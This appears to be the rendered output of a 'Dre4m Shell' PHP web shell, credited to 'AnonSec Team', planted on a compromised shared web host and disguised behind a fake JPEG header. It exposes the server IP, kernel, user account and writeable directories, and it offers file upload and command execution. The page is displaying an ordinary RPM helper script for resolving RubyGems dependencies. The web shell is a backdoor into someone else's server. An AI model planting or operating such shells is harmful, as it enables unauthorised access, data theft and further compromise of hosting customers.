ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/845366/root/usr/lib/rpm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/845366/root/usr/lib/rpm/rubygems.req
#!/usr/bin/ruby

require 'rubygems/package'

module RubyGemsReq
  module Helpers
    # Expands '~>' and '!=' gem requirements.
    def self.expand_requirement(requirements)
      requirements.inject([]) do |output, r|
        output.concat case r.first
        when '~>'
          expand_pessimistic_requirement(r)
        when '!='
          # If there is only the conflict requirement, we still need to depend
          # on the specified gem.
          if requirements.size == 1
            Gem::Requirement.default.requirements
          else
            []
          end
        else
          [r]
        end
      end.reject {|r| r.empty? }
    end

    # Expands the pessimistic version operator '~>' into equivalent '>=' and
    # '<' pair.
    def self.expand_pessimistic_requirement(requirement)
      next_version = Gem::Version.create(requirement.last).bump
      return ['>=', requirement.last], ['<', next_version]
    end

    # Converts Gem::Requirement into array of requirements strings compatible
    # with RPM .spec file.
    def self.requirement_versions_to_rpm(requirement)
      self.expand_requirement(requirement.requirements).map do |op, version|
        version == Gem::Version.new(0) ? "" : " #{op} #{version}"
      end
    end

    # Compose dependency together with its requirements in RPM rich dependency
    # string.
    def self.compose_dependency_string(name, requirements)
      dependency_strings = requirements.map { |requirement| name + requirement }
      dependency_string = dependency_strings.join(' with ')
      dependency_string.prepend('(').concat(')') if dependency_strings.length > 1
      dependency_string
    end
  end

  # Report RubyGems dependency, versioned if required.
  def self.rubygems_dependency(specification)
    dependency_name = "ruby(rubygems)"
    requirements = Helpers::requirement_versions_to_rpm(specification.required_rubygems_version)

    puts Helpers::compose_dependency_string(dependency_name, requirements)
  end

  # Report all gem dependencies including their version.
  def self.gem_depenencies(specification)
    specification.runtime_dependencies.each do |dependency|
      dependency_name = "rubygem(#{dependency.name})"
      requirements = Helpers::requirement_versions_to_rpm(dependency.requirement)

      puts Helpers::compose_dependency_string(dependency_name, requirements)
    end
  end

  # Reports all requirements specified by all provided .gemspec files.
  def self.requires
    while filename = gets
      filename.strip!
      begin
        specification = Gem::Specification.load filename

        rubygems_dependency(specification)
        gem_depenencies(specification)
      rescue => e
        # Ignore all errors.
      end
    end
  end
end

if __FILE__ == $0
  RubyGemsReq::requires
end

Anon7 - 2022
AnonSec Team